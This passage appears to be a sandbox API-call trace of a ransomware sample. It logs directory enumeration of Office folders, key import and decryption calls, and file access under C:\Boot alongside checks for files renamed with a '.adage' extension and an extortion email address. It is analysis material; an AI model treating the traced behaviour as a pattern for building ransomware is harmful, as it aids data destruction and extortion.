cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0066.812] GetLastError () returned 0x12 [0066.812] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0066.812] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0066.813] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b673100, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1df369c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1df369c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUS", cAlternateFileName="")) returned 1 [0066.814] GetLastError () returned 0x12 [0066.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\PROPLUS\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\proplus\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b673100, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1df369c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1df369c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0067.228] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b673100, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1df369c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1df369c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.229] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7685c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x1b673100, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xbb7685c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x42d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0067.229] GetLastError () returned 0x12 [0067.229] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0067.229] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0067.229] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefba96a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeff3b7a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeff3b7a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0067.229] GetLastError () returned 0x12 [0067.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Publisher.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\publisher.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefba96a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeff3b7a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeff3b7a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0067.420] FindNextFileW (in: hFindFile=0x4d87a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefba96a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeff3b7a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeff3b7a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.421] FindNextFileW (in: hFindFile=0x4d87a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f916d0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xefba96a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0067.421] GetLastError () returned 0x12 [0067.422] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0067.422] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0067.422] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x1df369c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x95cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0067.422] GetLastError () returned 0x12 [0067.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Word.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\word.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e683e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf0eb46a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf0eb46a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0067.750] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e683e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf0eb46a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf0eb46a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.750] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c36bb0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf0eb46a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c36bb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0067.750] GetLastError () returned 0x12 [0067.750] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0067.751] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0067.751] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e683e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf0eb46a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf0eb46a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0067.751] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0067.751] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0067.752] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70019900, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x314371a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x70019900, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x26a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0067.752] GetLastError () returned 0x12 [0067.752] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0067.752] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0067.753] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc56fd80, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1b0cbcc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1b0cbcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0067.753] GetLastError () returned 0x12 [0067.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\officesoftwareprotectionplatform\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc56fd80, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1b0cbcc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1b0cbcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0067.753] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc56fd80, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1b0cbcc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1b0cbcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.754] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaae9f00, ftCreationTime.dwHighDateTime=0x1d0ca65, ftLastAccessTime.dwLowDateTime=0x1b0cbcc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xfaae9f00, ftLastWriteTime.dwHighDateTime=0x1d0ca65, nFileSizeHigh=0x0, nFileSizeLow=0x2be58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0067.754] GetLastError () returned 0x12 [0067.754] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0067.754] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0067.755] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeadda780, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x31e54f20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x31e54f20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0067.755] GetLastError () returned 0x12 [0067.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeadda780, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x31e54f20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x31e54f20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0067.883] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeadda780, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x31e54f20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x31e54f20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.883] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeadda780, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeadda780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeadda780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0067.883] GetLastError () returned 0x12 [0067.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\1033\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeadda780, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeadda780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeadda780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0067.883] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeadda780, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeadda780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeadda780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.884] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e6a900, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xeadda780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x62e6a900, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x4ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0067.884] GetLastError () returned 0x12 [0067.884] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0067.884] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0067.884] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed06c00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x31e54f20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6ed06c00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0067.884] GetLastError () returned 0x12 [0067.884] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0067.884] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0067.884] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1666fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x15bfed00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x15bfed00, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0067.884] GetLastError () returned 0x12 [0067.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\PROOF\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\proof\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1666fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x15bfed00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x15bfed00, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0067.885] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1666fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x15bfed00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x15bfed00, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.885] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed06c00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x15ef8880, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6ed06c00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x854b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0067.885] GetLastError () returned 0x12 [0067.885] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0067.885] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0067.885] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab06d60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x32552fc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x32552fc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0067.885] GetLastError () returned 0x12 [0067.885] FindFirstFileW (lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Smart Tag\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\smart tag\\*"), lpFindFileData=0x2e6ef4c) Thread: id = 46 os_tid = 0xfdc [0049.990] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2ac73c8 [0049.990] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2ad73d0 [0049.990] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x28) returned 0xab7098 [0049.990] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x110102) returned 0x3450020 [0049.991] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab70c8 [0049.991] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f7d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f838 | out: phKey=0x304f838*=0x4cda90) returned 1 [0049.991] CryptSetKeyParam (hKey=0x4cda90, dwParam=0x1, pbData=0x304f820, dwFlags=0x0) returned 1 [0049.991] CryptDecrypt (in: hKey=0x4cda90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab70c8, pdwDataLen=0x304f7ec | out: pbData=0xab70c8, pdwDataLen=0x304f7ec) returned 1 [0049.991] CryptDestroyKey (hKey=0x4cda90) returned 1 [0049.991] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0049.991] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0049.991] Wow64DisableWow64FsRedirection (in: OldValue=0x304f888 | out: OldValue=0x304f888*=0x0) returned 1 [0049.992] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab70c8 | out: hHeap=0xab0000) returned 1 [0049.992] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0049.992] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.992] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0049.992] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0050.026] GetFileSizeEx (in: hFile=0x134, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=0) returned 1 [0050.026] CloseHandle (hObject=0x134) returned 1 [0050.026] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0 [0050.066] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.066] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.070] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=89168) returned 1 [0050.070] CloseHandle (hObject=0x170) returned 1 [0050.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0050.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.071] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.071] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.071] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.074] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=94800) returned 1 [0050.074] CloseHandle (hObject=0x170) returned 1 [0050.074] GetFileAttributesW 